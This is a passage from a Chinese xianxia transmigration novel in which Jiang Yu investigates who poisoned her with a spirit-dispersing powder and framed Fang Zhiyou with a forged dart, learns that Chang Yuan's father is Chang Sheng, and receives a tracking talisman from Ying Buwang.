她甚至连自己怎么躺回听雨苑屋内床上的都不知道,只觉得第二天一觉醒来,浑身轻盈,神清气爽。
反倒是一大早起床去拍应不妄房门时,碰上了起床气版应不妄,只见他一脸不耐烦的打开房门,再见到姜瑜那张脸后更甚。
四目相对间,应不妄只留意了片刻,就无情的把屋门关上了,最后还不忘发泄说道:“大早上的别来烦我。”
姜瑜被吃了闭门羹,她的手还悬在半空中做着敲门的动作,她一脸懵的看了一眼自己的手,旋即收回。
这时,起了大早的沈晚宁刚好路过廊前,她打着哈欠,眼角溢出一滴泪水,抬手拭去时说道:“师姐您就别难为应师兄了。”
“我难为他?”姜瑜疑惑的看向沈晚宁,紧接着开口问道,“对了,昨夜我们是怎么回来的?”
“我正要与师姐说呢。”沈晚宁眨眨眼睛,抬手将姜瑜拉倒自己屋内,给她倒了一杯热茶后,吃续而说道,“昨夜一路从安阳到紫星阁,可都是应师兄一路将师姐背回来的。”
“从安阳到这里可有百里,我即便睡前知道是他背我,那也不可能这么快的脚程回来吧?”姜瑜手中握着沈晚宁递来的瓷杯,疑惑问道。
“这你得问应师兄,我不知道。”沈晚宁摇摇头,自顾自的喝了一口温水,她说道,“也就天刚破晓那会儿,他把我跟裴师兄都叫醒了,还说师姐中了毒。”
姜瑜喝了一口温水,再抬眼时只听沈晚宁继续说道:“我们把了您的脉像才发现,师姐的毒早就在体内自行消散了。”
“那你可知我中的是什么毒?”姜瑜问道。
“根据应师兄的描述,我猜应是散(sàn)灵散(sǎn)。”沈晚宁看向姜瑜,解释道,
“散灵散并不会伤及人性命,只不过当将它服给修者后,丹田护不住灵力,所服之人,半日内用不上灵力,堪比普通人。”
姜瑜食指无意间敲打着桌面,她思索时习惯紧皱着眉,片刻后,她支身起身,留给沈晚宁一个背影,说道:“想起点事,不用管我,早膳你们先吃。”
*
姜瑜一路走到听风苑,直冲着最角落处的一件屋门而且,气势汹汹的拍着门,她道:“方知有你给我滚出来!”
“方知……”话说一半,掌中落了空,屋门从内向外打开,方知有一脸刚睡醒的模样。
他懒洋洋的靠在门框一侧,给姜瑜空出一个身位来,才开口问道,“怎么了我的好姐姐,一大早就迫不及待的来找我了?”
姜瑜从方知有身侧抬脚走进去,她自顾自的坐在桌前,将手中弯月形的银镖甩至身前,才开口问道:“说吧。”
“让我听听你怎么解释?”
方知有这才醒了神,几步走上前,修长的指尖捏上那枚暗器,才应声问道:“姐姐把我的银镖从刘苏叶那儿偷回来了?”
姜瑜懒懒的掀了掀眼皮,她站起身来,一把夺过弯月银镖,举起来问道:“揣着明白装糊涂?”
“说说看?”方知有单挑眉毛,低垂着眼帘,问道。
“这弯月银镖是不是只有你一个人有?”姜瑜盯着方知有的脸颊问道。
“不好说。”方知有自顾自的坐到一旁,给自己倒了一杯茶水,凉茶入喉时也恰好润了润刚睡醒的嗓子,再开口时声音都清晰了不少,“怎么,有人拿这个害你,然后嫁祸给我啊?”
方知有这句话到是点醒了满身怒气的姜瑜,他话音刚落,那银镖尖头直直贴上他的面颊,尖头锋利才刚刚贴上,就早已划出一抹绯红。
方知有连连躲过,他抬起手,用骨指擦掉那一抹红晕,皱着眉,再开口时声音里夹杂了一丝责怪的怒气:“你干嘛?打人不打脸不知道啊?”
姜瑜这才从思绪中拉回,见方知有要拿回银镖,她一个回旋将银镖又收回自己手中,才开口询问道:“不排除真的有人想嫁祸给你。”
“你总得给我个解释吧?”
“解释什么?”方知有一把夺过姜瑜手中的弯月银镖,反问道,“解释真的不是我要杀你?”
“这有什么好解释的,我一直都有想杀掉你的想法啊。”他毫不避讳的说着,期间还细细揣摩着手中的银镖,片刻后才开口说道,
“这银镖看似跟我那日射向刘苏叶屋门前的那枚相差无几,但倘若想短时间内仿制出一模一样的,也绝非易事。”
方知有凑过去指给姜瑜看,旋即说道:“你看,我那个镖尖铸造时,刻意留了一道浅坑,这样的镖器在保留了锋利的同时,更易于刺进任何坚硬物中。”
“姐姐给我的这枚银镖上可没有那道小坑。”
……
姜瑜握紧了拳头,她低垂着眼望向方知有,再度开口确认道:“那散灵散也不是你下的?”
“……还有人给你下散灵散啊?”方知有一脸震惊的看着姜瑜,旋即装模作样的说道,“这么卑鄙下流无耻的手段,我可做不出来哈。”
姜瑜抬眼看向眼前这位曾经在她茶杯中偷偷下毒,且完全符合“卑鄙无耻下流”的方知有,没再搭理他,一把夺过银镖出门而去。
散灵散被下之后,发作极快,仅在半日之内便会将其丹田中的灵力散尽,她去安阳那日根本没见过方知有。
能趁在她毫未察觉且毫无防备的情况下给她下毒的,必定是亲近亲信之人。
那日的早膳应不妄他们都吃了,没什么问题。再然后,他们就一同去凝雪苑见了刘苏叶,走之前她让她喝了杯茶。
对,茶!
而且方知有所击出的那枚弯月银镖,没猜错的话应当是在刘苏叶手中。
方知有想杀她没必要如此大费周章。
姜瑜前脚刚迈出听风苑,抬眼时彩虹刚好映入她的视线,她刚一见到姜瑜脸上就挂上了一抹笑意,才刚行至身前便开口说道:“姜姑娘,刘长老托我给您带句话。”
姜瑜眼皮掀了掀,只听彩虹再度开口说道:“她说帮姑娘找的人已经找到了,姑娘如若想问个明白,可以移步凝雪苑。”
*
姜瑜紧握着拳,一路上气势汹汹的踏入凝雪苑,抬脚踏入屋门时恰好撞见刘苏叶刚满上一杯
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茶,她皮笑肉不笑,冷声开口问道:“不知长老所找出来的人,在哪啊?”
刘苏叶这才抬眼看向门口处站着的姜瑜,见状她脸上迎来一抹笑意,她连忙起身说道:“瑜儿来了,快快坐到老身旁边来。”
“不用了,长老告诉我那人现下正在哪即可,瑜儿受不起长老的厚爱。”姜瑜没再看她,轻轻笑出声来,补充道:“待我查清真相,将害我之人挫骨扬灰之后,再来陪刘长老也不迟。”
在还没拿到实质性的证据前,她还不能轻举妄动。
若是现在与刘苏叶撕破脸皮,身在虎穴,保不齐会不会连累到师弟师妹他们。
刘苏叶听到这儿身形一顿,手中扶着椅子把手重新坐回木椅上,抬手举杯浅抿了一口茶水,才沉重开口说道:
“老身派人打听过了,在我南原一代,曾跟你父亲有过血海深仇的,只有常令派掌门,常盛。”
“只有常令派掌门吗?”姜瑜轻抬眼皮,几步走进刘苏叶,盯着她,眼底闪过一丝杀意。
片刻后她笑得森然,她话锋一转,询声问道:“长老觉得,我应当如可对待,那些想要杀掉我的人呢?”
话落,姜瑜没等刘苏叶回答,便转身离去,留给她一抹背影,踏出屋门时她才开口说道:“以其人之道还治其人之身而已,刘长老不用太过担心瑜儿的安危。”
出了凝雪苑,姜瑜又恰好撞见前来汇报事宜的赵清砚,四目相对时,她翻了个白眼,叹气嘟囔道:“今天真是晦气到家了。”
此话恰好落入赵清砚的耳中,她拧了拧眉,瞪向姜瑜:“你什么意思姜瑜?”
“呀!”姜瑜故作惊讶,她抬手捂住嘴巴,疑惑的看向赵清砚,“这儿还有个人呐?赵姑娘不说话我都没看见。”
话落,她略表歉意、装模做样的作揖道:“失礼了,还望赵姑娘不要小肚鸡肠,怀恨在心呐。”
“姜瑜你敢内涵我?!”赵清砚握紧拳头,脸上尽显怒意。
“是你自己要对号入座的,跟我可没关系。”姜瑜摆摆手,作势就要离开。
下一瞬,赵清砚直接抬剑而起,虚架在她的脖颈上:“我杀了你!”
姜瑜低头躲过赵清砚的一道剑气,在侧身时撇到了她脖子上的一抹红印时,再抬手凝灵之时也毫不客气的出了一丝杀招。
赵清砚没来的及躲闪,电光火石只见屋内顺势传出一道雄厚灵力,替她挡下姜瑜致命一击。
刘苏叶的声音旋即从屋内传出来,声音清晰且带有从容威严,她道:“清砚休要对瑜儿无礼,她是客,你是主,这般打打杀杀的话怎可从你口中说出?”
姜瑜轻扯嘴角,冷眼看着她们二人上演一出礼宾客气的俗套戏码。
“师姐。”气氛僵硬间,应不妄的声音从凝雪苑入口处传来,只见他本人双手怀抱于胸前,懒洋洋的叫了一声姜瑜。
在众人都抬眼看过去时,他的目光却只留在姜瑜身上,并未给赵清砚过多眼神,他话说的自然,也没把他人看在眼里:“沈晚宁说你没用早膳,去去就回。”
“这太阳都要照到头顶了,我就想着师姐是不是被什么脏东西给绊住了脚,所以来这儿看看你。”
35. 跟常远有关系?
姜瑜听后脸上顺势扬起一抹笑意,她几步走上前,装模作样的为应不妄理了理衣领,她道:“是绊了一会儿。”
“不过师姐解决的差不多了。”
话毕,她便拉起应不妄长袖一角,几乎是肩并肩的走出凝雪苑,才走远没几步,就开口对他说道:“师弟可还记得昨日一早,我们向刘苏叶所问之事?”
“记得。”应不妄任由姜瑜拉着他走,抬眸间注意力又被她头顶上一侧乱蓬蓬、还未来得及打理的发丝吸引了去,“怎么了?”
“今日我来这里,刘苏叶告诉我曾跟我爹有过血海深仇的只有常令派掌门,常盛。”姜瑜没注意到应不妄的眼神,只顾着自顾自的说着,她将问题抛回给他,问道,“师弟可知道常令派?”
应不妄挑了挑眉毛,回应道:“不知道。”
“我猜测这个常盛跟常远有点干系。”姜瑜思索片刻,说道。
“因为他们都姓常吗?”应不妄像看傻子一样般眼神看向面前的师姐,随后补充道,“照师姐这么说,隔天门少主刘玉也跟刘苏叶脱不了干系了?”
姜瑜听到这,才松开拽着应不妄衣角的手,她努力思考了一番这个问题,旋即看向他,点了点头,说道:“这是个好问题。”
“是得好好查查刘苏叶跟刘玉的关系了。”
“……”应不妄眼皮微跳。
他随口说的。
“那师姐接下来是要去找那个常令派掌门吗?”应不妄这才正色问道,而后像是突然想到了什么,补充道:“那个常令派可是在南原最西北,比安阳还要远上不止百里。”
姜瑜摇摇头,抬脚往前面走了两步,再停下时眼神示意应不妄跟上。
而后者的应不妄则不紧不慢的低头看了一眼自己方才被姜瑜扯出一道褶皱的衣襟,抬手抚了上去将其抚平后才踱步跟上。
姜瑜见状也装模作样的拍了拍自己的手,以表嫌弃,随后她跟应不妄往听雨苑走着,她道:“已经没必要去常令派一探究竟了。”
应不妄听后面上表情不显,只听姜瑜又道:“赵清砚,你知道吧。”
“她。”姜瑜说到这,抬手时用指尖给应不妄在脖子上比划着,再开口道,“这里有一道红印,跟我那日在那个蒙面人脖子上划的印子一样长。”
说到这,就算是傻子也能明白,那日追杀姜瑜的人中赵清砚也参与其中,并且还算主谋。
应不妄眼睛微眯,二话不说,转身又要往凝雪苑走去,还好姜瑜反应及时,一把将他拉了回来,说道:“师弟,你干吗去?”
“此事不可操之过急。”
“既然身在龙潭虎穴,便要见机行事,杀她们不是难事,但如若我们无凭无据地将她们杀掉,那这紫星阁内成百上千名弟子,会相信我们的一面之词吗?”
“况且刘苏叶贵为一阁长老,这种事就不应当由我们出面。”
应不妄深吸了口气,听后也没反驳姜瑜,只沉声问道:“难道要等紫星阁那位从未露面,还不蛮不讲理,把你我打个半死的掌门出面吗?”
姜瑜这才抽空抬眼看向站在自己面前的小师弟,闻言她皱紧了眉。
那日事发突然,倒也让她明白了一件事——紫星阁掌门,罗淮阳也不是个好对付的。
“不是还有师兄师妹们吗,此事我们一起从长计议。”姜瑜松开方才一时心急才抓住他的手,她故作轻松,抬手摸了摸自己扁下去的肚子,笑着回道,“先回去吃午膳吧,我都要饿死了。”
*
听雨苑食按上,姜瑜将这一切如实告诉裴恒之他们二人后,沈晚宁第一个拍桌,她嘴里还含着东西,气愤开口说道:“我就说那姓赵的看着就不像个好人!”
“究竟是谁给她的胆子,居然敢对我师姐痛下杀手!!”
裴恒之坐在她身旁,先是按住给她顺毛,后也皱眉说道:“师妹确信此时与刘长老也有干系?”
姜瑜给自己夹了一道菜,往嘴里送去,才说道:“本来没想过会怀疑到她身上。”
“可是时至今日,就数她露出的破绽最多,先是茶水下散灵散,然后就是……”姜瑜说到这,才想起来从锦囊中将那枚弯月银镖掏出来放到餐桌上。
“然后就是这枚弯月银镖。”
桌上的三人皆向银镖投去目光,姜瑜自顾自的给自己夹了一块肉填入嘴中,而后解释道:“这枚银镖只有那日在仪事堂的几位长老和弟子见过。”
“这不是刺杀刘苏叶的银镖吗?”沈晚宁抬手拿过去,弯月状的镖物被她用手拿着来回端详。
姜瑜闻言点点头,她随后又说:“其实不细看,大家都看不出来有什么区别,但此镖确非彼镖。”
“刘苏叶手中那枚镖的主人我认识。”姜瑜说完这句话,饭桌上的三人都不自觉地抬起头看向她,而她只笑笑说道,“今早我去问了我那位朋友,两枚银镖质地做工上相差甚远。”
“那枚是精心打造而成,而我手上这枚明显是为了赶工快制而出的半品,至于目的,也简单,大概率是为了嫁祸给原镖主人才用的相同镖样。”
……
说到这,屋内一片寂寞,应不妄则自顾自的吃着自己眼前的膳食,沈晚宁皱巴着小脸,反观裴恒之则张了张嘴,问道:“师妹可有查出来...”
“刘长老,刘苏叶为何要屡屡加害于你?”
姜瑜摇摇头,将竹筷放至一边,说道:“她们不是罪魁祸首。”
“刘苏叶上头还有人。”
“罗掌门。”应不妄插嘴道,他顺势给姜瑜夹了一道肉食,才说道,“刘苏叶上头的人不就是罗淮阳吗?”
“她没理由杀你。”
“但你也说了,这是上一辈人的事情,我们无从知晓。”应不妄话落,他看向姜瑜时,眼底闪过一丝笃定。
姜瑜手上握紧了拳,随后刚拿起的筷子又被她放回原处,她最终还是没能把应不妄夹给她的菜塞进嘴里。
应不妄目光落在姜瑜放下的筷子上,只见她起身道:“我出去一个人待会,你们先吃。”
她身型背对着他们,抬脚刚走两步,顿了顿强调道:“不用追上来,也不用担心,我就单纯是有点事情没有捋顺。”
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p>紫星阁依山而建,迈过蹭蹭台阶,往西走则有一座树林高山,山顶占地渺小,只有三人能并排所站的一片空地。
姜瑜用一纸瞬身符瞬身才来的这儿,她此刻坐在崖边,双腿随意的悬于半空,自己一个人拄着脑袋,满脸愁容。
她有好多事情都没想通。
原书中对这些事情也并未有过多描述,她穿进来的时间太久,早已把书中细节忘的干净了许多。
除了系统给她的那些俗套的台词剧本,其它的她一概不知,以至于查到现在,她都有一种无法相信眼前事实的虚幻。
这些疑惑太多,总结成一句话来说就是:她明明只是书中一个小小的配角,为何紫星阁一事上貌似都是在围绕着她转。
思及此,姜瑜重重的叹了口气,就在这时,她身后传来一道细碎的脚步声,她满脸困惑,双手支撑着站起身来,往身后看去——
只见一道消瘦的身型正缓慢着向山顶滑行,待姜瑜看清来人之后,没忍住轻嗤一声,恰好被正在往上费力的爬向山顶的常远察觉到。
他面容沾了些灰土,许是攀爬的过程中用那沾满泥尘的手擦试过眼睛,此刻活像个缩瘦版的大熊猫。
姜瑜一联想到这个比喻,笑得更大声了。
常远听着姜瑜的笑声不由得脸颊上泛起了一层红晕,他几步攀上山顶,站稳之后,抬手指着姜瑜,才开口问道:“你怎么在这里?”
姜瑜笑够了,抬手拭去眼角处溢出来的泪水,她面上还挂着笑意,反问道:“我为什么不能在这里?”
常远努了努嘴,想了半天也实在想不出来她为何不能在这的理由,只得讪讪作罢,他抬起袖口将脸上的尘土蹭掉,自顾自的坐到崖边,才开口说道:“随便你。”
姜瑜见状也几步走到他身旁坐了下去,两人一左一右。
“或许我们之间曾经有过误会,但我相信常少侠不是一个小肚鸡肠的人。”姜瑜说着,只听身侧的常远冷哼一声,丝毫不领情,他道,“不巧。”
“我还就是一个小肚鸡肠的人。”
姜瑜听后先是一笑,然后问道:“怎么?”
“常少侠看起来心情也不是很好的样子。”
“关你屁事。”常远脱口而出,话音刚落似是又觉得不妥,才软下语调问,“莫非你心情也不好?”
“不该啊,你把赵师姐气个半死,你心情能有什么不好的?”
“是因为跟裴恒之吗?”姜瑜没搭理常远那岔,直截了当的问道。
常远听后微叹一口气,双手不自觉的扣起手指,小声嘟囔道:“这么明显吗?”
“他已经好几天没搭理我了。”
“朋友嘛。”姜瑜提到这里时,眼中才微微亮起了一道眸光,她道,“不计较得失,不关乎利弊,由心而生,顺从自己的内心即可。”
“立场不同,如若撤去立场,那你们还是你们,你们还是朋友。”
“我想,他不会怪你的。”
话音刚落,常远这才抬起头来正色地看了看姜瑜,嘴贫道:“没想到这种话竟能从你的嘴中说出来。”
36. 门当户对?
姜瑜瞥了他一眼,没好气道:“我可以帮你挽回裴恒之,但是在此之前,你得先回答我一个问题。”
常远总感觉这句话有点奇怪,但他不知到底奇怪在哪,顺势说道:“说说看。”
姜瑜从手中凝起一股灵力,才刚聚成,她便从空中虚写出一个人名——常盛。
“这个人跟你是什么关系?”她问。
常远顺势看向空中,在看清字体的一瞬间,瞳孔骤然放大,他问:“你是从哪得知的这个名字?”
“看来是认识。”姜瑜眉毛微挑,看向一旁被惊地厉害的常远,才问道,“讲讲?”
话音刚落,姜瑜身侧便横空飞出来一道传讯符纸,她在其注入灵力,沈晚宁的声音从中传来:“师姐,应师兄好像遇上大麻烦了。”
她余音中还带着一丝犹豫,紧接着便是乌泱泱的人群话音。
姜瑜见状收起传讯符的同时,她双手支撑着站起身来,俯视着常远,才道:“常少侠考虑考虑,若是想什么时候讲于我听了,随时可以来听雨苑找我。”
她顺手拍了拍衣襟上沾染的尘土,抬手起符的同时,似是又想到了什么,转头看向坐在原地的常远,犹豫片刻,一纸黄色符纸应势落于他身侧。
常远缓缓转头看向那道符纸,再往后看时,姜瑜的身影早已先行消散于原地,只留下一句:“常少侠只需将少许灵力注入其中,它可以带你瞬身到百里内你想去的地方。”
“不用再徒手爬回去了。”
……
紫星阁内弟子通以音修为主、器修为辅,偏生在符修上一窍不通,这也是为什么很少能从紫星阁内找到黄色符纸了。
*
姜瑜瞬至听雨苑院口时,入目便是一群紫星阁女弟子围在应不妄屋门前,自觉的呈出半圆形状。
只见为首的那名女弟子身着一席紫色纱裙,她手捧着几株才摘采的鲜花,面带笑容地超屋内说着什么。
姜瑜皱了皱眉头。
这人她好似在哪见过。
待她走近,在一群乱糟糟的声音中,这方才听清为首的女子说的什么:
“应不妄,你我初见虽以不欢而散,但自从那次听风苑相助后,巧蝶便一直将此恩情铭记于心。”
哦,原来是那天在门口叽叽喳喳的巧蝶。
想到这儿,姜瑜又忍不住站在这群少女之后侧身往里挤了挤,侧头听着那位巧蝶姑娘继续说了什么:
“你虽身于青冥宗,而我身处紫星阁,两大宗派,门当户对,若是往后应少侠同意了你我相处之事,便应属我紫星阁之人。”
“当然我也会与你常回青冥宗看望你的师门。”
姜瑜吞了吞,看向那位巧蝶。
入...入赘吗?
她刚要再上前观望一二时,一道身影悄然出现在身后,只觉手腕间被人稍一用力,便被那人直直向后扯了几步。
姜瑜才刚看清来人,还未来得及开口说话,却被身后的应不妄一把扯走,悄声无息的推开她自己的房门进去。
站定后,她这才抬手虚指了指门外,问道:“这就是晚宁说的麻烦啊?”
应不妄顺势坐在桌前,没好气的撇了一眼她,没再说话。
姜瑜几步上前,凑近满脸八卦,她问道:“外面那姑娘可是来专程找...”
话说一半,她被应不妄一记冷眼,顿时停了嘴,才嘟囔补充道:“...你的。”
说罢,她也没管应不妄,顺势坐在他身侧,双手拄着头,才堪堪将脸上为数不多的软肉挤到一处,她看着应不妄不紧不慢的抬手为自己倒了一杯茶,没忍住又问道:
“让人家姑娘一直站在门口等算什么事,好歹表个态度什么的吧?”
“不喜欢别吊着啊。”
话落,应不妄这才掀眼看向姜瑜,他将茶杯重重放回桌上,发出一道轻响,这才冷声道:“你当我没拒绝吗?”
“你拒绝了?”姜瑜也给自己倒了一杯茶水,不过她没往嘴里送,那茶杯平稳的搁置在桌上,杯中被倒满了茶水。
她不紧不慢的抽出食指蘸了一点水渍,从桌上开始乱涂乱画起来,而后漫不经心的说道:“那很烦了。”
死缠烂打的追求者最烦了。
应不妄看着她在桌上随意画着,脱口而出,问道:“师姐也讨厌这样的人吗?”
“不好说。”姜瑜缓缓摇摇头,她手指在其中花了两个点,画作完成。
应不妄顺眼看过去——姜瑜画的似猪不是猪,似狗又太丑。
“如果此时外头站着一位跟我不怎么相熟的男人,在我强烈拒绝他的情况下,对着我的寝居深情一通。”姜瑜双手又重新拄回去,继续说道,“我会觉得那男的有病。”
“然后毫不犹豫且大发慈悲的请个医师给他看看脑子。”
听到这儿应不妄面上才染起一道笑意,他嘴角轻轻扬起,目光从姜瑜的画作上移开,随即看向眼前的少女,询声问道:“那师姐说说看。”
“我要不要请个医师给她瞧瞧脑子?”
“不太好。”姜瑜认真的摇了摇头,而后捂嘴打了个哈欠,泪水从眼角溢出,她道,“姑娘家终究与男子不同。”
“师姐劝你,还是好生与人家小姑娘解释清楚。”
“听师姐的。”应不妄笑着往自己嘴里送了一口茶水,才道,“等那群人散去,我寻个时间单独与她说清楚。”
姜瑜颇为赞同的看向他,随后点点头,没忍住伸出手来为他竖了个大拇指。
就在此时,门外的沈晚宁都没来得及敲门,直奔屋内,在看到他们二人时,才稍稍松了一口气,她走进屋内,转身将门关了个严实。
她先是深吸了几口气,站在桌前为自己倒了一杯水猛灌一口后,才问道:“你们可见着裴师兄了?”
姜瑜与应不妄两人相视一眼,接连摇摇头,才又看向一旁的沈晚宁。
“午膳过后我们各自散去,直至现在,我都没瞧见裴师兄的身影。”沈晚宁皱着眉有条不紊的娓娓道来,“就连我送出去的传讯符也没有回应。”
“是不是出去办什么事了,来不及回讯给你?”姜瑜坐在原处,她开口问道。
毕竟原书男主可
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是牛逼人物一样的存在,就算是真出事,也只不过是在捡金手指的路上一时绊住了脚。
总而言之,他应当不会有太大的危险。
听到师姐的这句话,沈晚宁悬着的心这才稍稍有了落脚之处,她依旧面露担忧,开口说道:“可是换作寻常,这么长时间,他应该早就传讯与我了。”
姜瑜拉着她的手,将她招呼在自己身侧坐下,拍了拍她的后肩:“裴师兄神通广大,比我们之间任何一个人都要厉害,是绝不会出事的。”
话音未落,应不妄提着杯子刚要往嘴里送的手在半空中一顿,他抬眼扫向身侧的姜瑜,收回视线时,不动声色的将那杯茶水喝了个精光。
沈晚宁这才刚安下心来,点了点头,就在这时,刚才被她关紧了的屋门再度被人从外头扣起,声音沉闷。
“谁啊?”姜瑜寻声问道。
“是我,常远。”屋外的声音顺势想起,随后又补充到,“我想清楚些事情,来同你讲讲。”
声音隔着一扇门,穿进屋内时沉闷闷的,姜瑜起身走至门前,抬手刚将屋门从内打开,常远的声音就清晰的传进屋内每个人的耳中:
“姜姑娘,你那道符纸是不是故意拿来坑我的?”常远见门刚动,从屋内探出一丝空隙时就没忍住开口说道,“为何我将灵力注了进去,它竟把我瞬到了善堂洒扫婆婆的茅厕内?”
“害我被她老人家打……”
话说一半,屋门从内被姜瑜整个大开,他这才看清屋内的其余两人,只瞬间,他的面上便又泛起一抹红晕,比往前山崖边的更甚。
“沈姑娘...”常远顺势喊了一声,随后将视线又落在满脸意味深长的应不妄身上,最终泄了气认命般往屋内走去,待他坐回凳上时,才嘟囔道,“你们都在啊...”
姜瑜忍者笑意重新关上了门,她上前解释道:“我那符纸自当是没有问题的,怕不是你用它时,正...着急呢吧,要不然它怎会将你瞬至到...茅厕呢?”
话落时,常远整个脸都透着红,这一幕让姜瑜不禁想起来她小学时经常引用的比喻句——
常远的脸红的像红苹果。
想到这儿,姜瑜此刻站着,俯视着他,也没认错噗嗤一声,笑了出来。
三人听到动静接连朝她看去,她连忙摆了摆手,道:“我没事,不用管我,你们继续。”
她笑咳了两声,举起桌上的一杯茶杯就灌了进去,也不计较那是谁刚喝剩下的水了。
只留下应不妄的目光,淡淡的看向她重新放回桌上的杯子,喉咙不禁滚了滚。
“常少侠,你说你想清楚了。”沈晚宁看了看姜瑜,这才开口替她询问道,“指的是什么?”
常远抿了抿唇,怨气恒升的撇了一眼姜瑜,才道:“先前姜姑娘问我识不识得常盛。”
“常盛,你说的可是常令派掌门常盛?”沈晚宁问。
常远顿了顿,双手藏于桌下不自觉地攥紧了拳,又开口道:“他以前常令派的掌门不错,但现在他是常令派的叛徒、逆贼。”
“我恨不得将他千刀万剐!”
37. 追踪符
姜瑜听到这,此刻也收回了方才的笑意,她坐回之前的位置,正色问道:“他是你什么人?”
常远抬眼望向姜瑜,神色淡淡,说道:“他曾经是我的父亲。”
几人听后皆向他看去,感受到目光的常远这才不好意思的挠了挠头:“都是好久之前的事儿了,况且我现在跟他没什么关系。”
“对了。”常远这才反应过来,看向姜瑜问道,“你们打听他做什么?”
被点名的姜瑜这才刚从思绪中缓过来,她斟酌开口:“常少侠,你父...常盛他还活着没,或者说,他现在在哪?”
“我父亲犯了错事,但也好在保全了性命,每月十五月圆之时他都坚持来紫星阁看我...”常远说到这手中将要拿茶壶的动作在空中一滞,随后猛地往桌上一拍,“坏了,怎么把这事忘了!”
话音刚落,他向周围人扫视一圈,才道:“当时是裴兄接的我家那档子破事,我爹自那之后一直将他怀恨于心,今日可是十五?”
常盛曾为了门派利益,不惜以妻子做祭,多年后硬是又将注意打到了自家儿子的身上。
当时刚好被第一次下山出任务的裴恒之赶上,常远这才侥幸活了下来。
最终常盛事情不但没办成,还与自己的儿子决裂了,他这才将所有的过错与过失都怪罪到裴恒之身上,以至于他视裴恒之为眼中钉,肉中刺。
常盛每月十五嘴上说着是来看自己的亲骨肉儿子,不过是还不知悔改,试图将常远诓骗回去继续做他的祭品。
常远将这件事简单大致的娓娓道来后,姜瑜率先起身,她低头看向身旁的沈晚宁,才道:“师妹说裴师兄断联了?”
沈晚宁这也才想起这档子事,同常远一样,手上猛地用力拍向桌子,才道:“坏了!”
姜瑜看向那张曾被两个下手没轻没重的人拍的雕花木桌,再看看一直坐在一旁,仿佛天塌下来也跟他毫无关系的应不妄,最终得出了一个结论:
只有桌子受伤的世界达成了。
*
他们一行人最终决定四散开去找裴恒之,面露担忧最为着急的就数沈晚宁,常远知道常盛打不过裴恒之,但秉持着难保会出什么事的原则,他也跟着去找了去。
反观姜瑜倒是不急,因为她知道,身为《诛魔》的大男主,是必定不会被这一点点困难绊住脚的,倘若会,那也只会绊一会会。
当她在紫星阁转了第二圈的时候,从一道墙边撞上了同样不着急的应不妄,只见那人慵懒地靠在墙边,周遭有一道树木花草为他挡去了午后的烈阳。
姜瑜眯了眯眼,待看清那张熟悉却又带有一贯笑意的脸时,对方似乎也察觉到了她的视线,一时间四目相对,让她也没忍住弯了弯唇角。
她晃悠悠的几步走上前,即便知道这尊大佛不会同晚宁他们一起去寻裴恒之,但还是没忍住开口问道:“在这儿杵着呢?”
应不妄闻言微微单挑了一侧眉,回道:“我的脾性师姐还不了解吗?”
“要是裴恒之真的连常盛那个老家伙都斗不过,那他这青冥宗掌门亲传弟子的位置还是早点空出来的好。”
话毕,姜瑜眼中的笑意更甚,她没反驳应不妄,是因为她也觉得这话在理,只听她道:“不见得只有常盛一个人。”
“现在我们乃至在紫星阁的所有青冥弟子,都不太安全。”姜瑜正色道,“若是针对我的幕后之人真是罗淮阳,那麻烦甚至可能都不是一般的大。”
“她好歹是一派掌门,又闭关修炼了这么多年,咱们之中不管单拎出来哪一个,都不是她的对手。”
“师姐就这么瞧不起我?”应不妄眯了眯眼,刺眼的光线从枝叶缝隙中钻了进来,刚好有一束落到了他的眼上。
姜瑜转过身子背对着他,往别处走去,才道:“师弟能不能打过她,自己心里应当有数,不用师姐提醒吧。”
“毕竟...”她顿了顿,微微偏了偏头,视线模糊间撇到应不妄的一处衣角,她不怀好意的笑了一声,才道,“那晚雨夜里昏迷不醒的可是师弟,不是我。”
应不妄闻言也跟着她轻笑一声,思绪瞬间被拉回了他们遇见罗淮阳的那晚雨夜,他抬脚赶上姜瑜。
此时的姜瑜手背在身后,刚要往别处转转,便身觉手中被塞了什么东西,再回头时,应不妄那张俊脸离得极近,导致她连呼吸都滞了一瞬。
他此刻弯着腰,手中的黄色符纸随之递过去,指尖触碰到姜瑜手掌的一瞬间,冰凉的触感随着那微弱触觉席卷全身,冰冰痒痒,让她不由得蜷了蜷手指。
直至应不妄将手抽回,掌心的那抹凉意未散,手中只留下他方才递过来的符纸,她低头望向那张符纸,才疑惑问道:“追踪符,给我这个做什么?”
应不妄淡淡应了一声,他懒懒的掀了掀眼皮,才解释道:“以防再遇到师姐独自犯险的情况,危急时刻只需催动灵力将其燃灭,半个时辰我就能赶到。”
姜瑜指尖捏起那张符纸,在空中晃了晃,才提醒道:“师弟忘啦?”
“上次安阳的时候,我可是连灵力都使不出来。”
“没忘。”应不妄似是早就料到了姜瑜会这么说,他脸上溢满了的意,“所以这张符纸是经我改良过的,师姐将它撕了也是一样的效果。”
“符纸散,半个时辰,我就会赶到。”
“无论多远。”
应不妄说的极认真,姜瑜手中还捏着那张符纸,她望向站在自己身前高处她大半个头的少年,一时怔了神。
片刻后她才没忍住轻咳了两声,将符纸收回自己的锦囊之中:“等回到青冥宗,你教教我这符如何画。”
见应不妄不回话,她又补充道:“我将我那日可以跟罗淮阳相抗的符纸教给你,怎么说你也不亏。”
应不妄唇边染起一丝笑意,此刻没了树木的遮挡,一抹暖阳洒在他的面颊上,添染了一分神性,他嘴唇张了张,才道:“我考虑考虑。”
话毕,他便转过身,头也不回的走了,姜瑜盯着那道背影,唇边也不自觉的跟着染起了一抹不易察觉的笑意。
*
姜瑜还有别的事情要做。
倘若那日的罗淮阳真的只是将他们误认成了盗贼,依各宗门派掌门的心性来看,她不至于催动灵力一路追向竹林。
或者说,追杀盗贼这种小事,根本
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无需她亲自动手。
思索间,姜瑜前脚已然踏进了阁院内,这里门扇居多,让她绕了好一会才找到那晚碰到罗淮阳的屋门。
她先是敲了敲门,门内毫无声响。
紧接着她晃了晃,才发现门没上锁,只轻轻一推,那删雕工精细的门便顺势被她推开了。
姜瑜犹豫片刻,向里面探了探半个身型,随后缓缓踏入屋内,再将门关上。
此时不过午后,夕阳也不过是刚擦边的程度,屋内却黑的不像白日。
姜瑜手中捏起一道咒诀,指尖才亮起一丝微弱光亮,她这才惊觉,屋内竟一扇通风的木窗都没有。
屋内陈设依旧,跟她在听雨苑所住的屋子别无二致,不过是大了些,多了两列书置木架。
她试探着往前走了几步,行至木架前,伸出手才从架上随意抽取了一本书,翻了几页,手上便已然占满了灰尘。
姜瑜随着书架来回转了两圈。
